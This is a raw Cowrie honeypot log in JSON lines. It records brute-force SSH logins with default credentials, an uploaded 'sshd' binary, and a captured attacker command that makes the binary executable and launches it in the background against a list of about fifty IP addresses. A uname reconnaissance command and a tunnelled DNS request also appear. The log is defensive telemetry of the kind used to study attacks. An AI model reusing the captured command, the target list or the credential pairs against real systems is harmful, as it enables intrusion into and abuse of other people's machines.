{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:19.827403Z","src_ip":"38.93.206.2","session":"1978d85ee563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc66d86c60f","protocol":"ssh","message":"New connection: 193.151.144.93:39374 (10.17.0.5:22) [session: 7cc66d86c60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:22.800731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:22.806356Z","src_ip":"193.151.144.93","session":"7cc66d86c60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:22.972482Z","src_ip":"193.151.144.93","session":"7cc66d86c60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:23.472412Z","src_ip":"193.151.144.93","session":"7cc66d86c60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:24.648653Z","src_ip":"193.151.144.93","session":"7cc66d86c60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56210,"dst_ip":"159.203.135.109","dst_port":23,"session":"744dc8fd84cb","protocol":"telnet","message":"New connection: 69.4.83.194:56210 (159.203.135.109:23) [session: 744dc8fd84cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:25.072331Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39380,"dst_ip":"10.17.0.5","dst_port":22,"session":"0180d5cba8f3","protocol":"ssh","message":"New connection: 193.151.144.93:39380 (10.17.0.5:22) [session: 0180d5cba8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:28.146852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:28.152716Z","src_ip":"193.151.144.93","session":"0180d5cba8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:28.317836Z","src_ip":"193.151.144.93","session":"0180d5cba8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:28.816742Z","src_ip":"193.151.144.93","session":"0180d5cba8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:29.983946Z","src_ip":"193.151.144.93","session":"0180d5cba8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40726,"dst_ip":"10.17.0.5","dst_port":22,"session":"05fe8ee40647","protocol":"ssh","message":"New connection: 193.151.144.93:40726 (10.17.0.5:22) [session: 05fe8ee40647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:33.653793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:33.659249Z","src_ip":"193.151.144.93","session":"05fe8ee40647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:33.826287Z","src_ip":"193.151.144.93","session":"05fe8ee40647","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:34.119637Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:34.458481Z","src_ip":"193.151.144.93","session":"05fe8ee40647","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:34.938652Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.4003532435554734542/sshd;nohup ./.4003532435554734542/sshd 103.214.112.63 219.152.61.9 51.77.231.29 120.226.40.228 69.87.207.133 91.99.129.166 140.249.211.21 180.76.167.130 160.202.231.15 187.141.210.92 157.10.52.61 47.95.170.168 47.122.51.245 221.14.147.153 157.255.155.179 123.58.212.100 125.212.248.44 188.166.211.175 157.22.241.144 154.219.104.82 43.163.220.159 41.142.145.44 151.234.162.15 139.59.253.66 34.63.87.80 182.180.103.209 52.91.199.247 94.34.85.181 103.131.85.186 104.168.92.214 109.176.202.12 213.238.207.109 138.197.163.192 45.55.30.94 107.174.1.138 103.161.16.196 59.110.17.124 39.164.232.214 47.94.87.144 196.188.187.153 103.164.9.41 120.92.105.170 221.179.57.254 103.131.85.222 211.198.160.213 51.158.252.114 220.181.172.244 221.6.122.67 103.96.73.248 96.44.170.208 222.186.20.164 &","message":"CMD: chmod +x ./.4003532435554734542/sshd;nohup ./.4003532435554734542/sshd 103.214.112.63 219.152.61.9 51.77.231.29 120.226.40.228 69.87.207.133 91.99.129.166 140.249.211.21 180.76.167.130 160.202.231.15 187.141.210.92 157.10.52.61 47.95.170.168 47.122.51.245 221.14.147.153 157.255.155.179 123.58.212.100 125.212.248.44 188.166.211.175 157.22.241.144 154.219.104.82 43.163.220.159 41.142.145.44 151.234.162.15 139.59.253.66 34.63.87.80 182.180.103.209 52.91.199.247 94.34.85.181 103.131.85.186 104.168.92.214 109.176.202.12 213.238.207.109 138.197.163.192 45.55.30.94 107.174.1.138 103.161.16.196 59.110.17.124 39.164.232.214 47.94.87.144 196.188.187.153 103.164.9.41 120.92.105.170 221.179.57.254 103.131.85.222 211.198.160.213 51.158.252.114 220.181.172.244 221.6.122.67 103.96.73.248 96.44.170.208 222.186.20.164 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:34.942505Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/27e7757b58eb156726687b822a63216ef6d6fc0f9fa5ffaa7fa437ba20de4902","size":136,"shasum":"27e7757b58eb156726687b822a63216ef6d6fc0f9fa5ffaa7fa437ba20de4902","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/27e7757b58eb156726687b822a63216ef6d6fc0f9fa5ffaa7fa437ba20de4902 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:35.198812Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"229.4","message":"Connection lost after 229.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:35.205996Z","src_ip":"125.94.107.91","session":"2a6024fe0967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:35.627242Z","src_ip":"193.151.144.93","session":"05fe8ee40647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39542,"dst_ip":"10.17.0.5","dst_port":22,"session":"6647319db076","protocol":"ssh","message":"New connection: 87.251.64.176:39542 (10.17.0.5:22) [session: 6647319db076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:37.492428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:37.497401Z","src_ip":"87.251.64.176","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:37.592791Z","src_ip":"87.251.64.176","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:37.972034Z","src_ip":"87.251.64.176","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:38.069786Z","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:38.167086Z","src_ip":"87.251.64.176","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:38.267974Z","src_ip":"87.251.64.176","session":"6647319db076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40732,"dst_ip":"10.17.0.5","dst_port":22,"session":"6032cac232e3","protocol":"ssh","message":"New connection: 193.151.144.93:40732 (10.17.0.5:22) [session: 6032cac232e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:39.060641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:39.065111Z","src_ip":"193.151.144.93","session":"6032cac232e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:39.240728Z","src_ip":"193.151.144.93","session":"6032cac232e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:39.884320Z","src_ip":"193.151.144.93","session":"6032cac232e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:41.063560Z","src_ip":"193.151.144.93","session":"6032cac232e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43732,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1b612aaf7a","protocol":"ssh","message":"New connection: 193.151.144.93:43732 (10.17.0.5:22) [session: cf1b612aaf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:44.593225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:44.629989Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:44.796241Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:45.430083Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.638817Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.642457Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47352,"dst_ip":"159.203.135.109","dst_port":22,"session":"054309b85d3e","protocol":"ssh","message":"New connection: 89.223.69.22:47352 (159.203.135.109:22) [session: 054309b85d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.703370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.708117Z","src_ip":"89.223.69.22","session":"054309b85d3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.814049Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.818734Z","src_ip":"193.151.144.93","session":"cf1b612aaf7a","protocol":"ssh"}
